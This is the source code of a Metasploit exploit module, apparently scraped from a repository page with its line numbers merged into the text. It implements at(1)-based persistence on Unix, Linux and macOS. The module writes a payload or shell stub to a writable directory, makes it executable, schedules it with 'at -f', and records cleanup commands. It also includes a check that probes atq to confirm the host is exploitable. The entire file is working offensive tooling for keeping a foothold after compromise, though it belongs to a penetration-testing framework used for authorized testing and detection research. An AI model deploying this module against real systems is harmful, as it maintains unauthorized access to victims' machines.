Path: blob/master/modules/exploits/multi/persistence/at.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::FileDropper10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::Local::Persistence12include Msf::Exploit::Local::Timespec13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/unix/local/at_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'at(1) Persistence',22'Description' => %q{23This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box24with any UNIX-like operating system with atd running.25Verified on Kali linux and OSX 13.7.426},27'License' => MSF_LICENSE,28'Author' => [29'Jon Hart <[email protected]>'30],31'Targets' => [['Automatic', {} ]],32'DefaultTarget' => 0,33'Platform' => %w[unix linux osx],34'Arch' => [35ARCH_CMD,36ARCH_X86,37ARCH_X64,38ARCH_ARMLE,39ARCH_AARCH64,40ARCH_PPC,41ARCH_MIPSLE,42ARCH_MIPSBE43],44'SessionTypes' => ['meterpreter', 'shell'],45'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html46'References' => [47['URL', 'https://linux.die.net/man/1/at'],48['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],49['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],50['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],51],52'Notes' => {53'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],54'Stability' => [CRASH_SAFE],55'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]56}57)58)5960register_options([61OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),62OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),63])64end6566def check67return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']68return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']6970return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'7172# we do a direct test with atq instead of reading at.allow and at.deny73token = Rex::Text.rand_text_alphanumeric(8)74if cmd_exec("atq && echo #{token}").include?(token)75return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')76end7778CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')79end8081def install_persistence82fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])83payload_path = datastore['WritableDir']84payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"85payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)86payload_path << payload_name87vprint_status("Writing payload to #{payload_path}")8889if payload.arch.first == 'cmd'90upload_and_chmodx(payload_path, payload.encoded)91else92# because the payloads contents is imported into the at job, we use a stub to call our payload93# as it doesn't like binary payloads directly94payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"95# stub, but keep payload_path name for consistency96upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")97upload_and_chmodx(payload_path_exe, generate_payload_exe)98@clean_up_rc << "rm #{payload_path_exe}\n"99end100101@clean_up_rc << "rm #{payload_path}\n"102103job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")104job_id = job.split(' ')[1]105print_good("at job created with id: #{job_id}")106# this won't actually do anything since its not in a shell107@clean_up_rc << "atrm #{job_id}\n"108109print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")110end111end112113114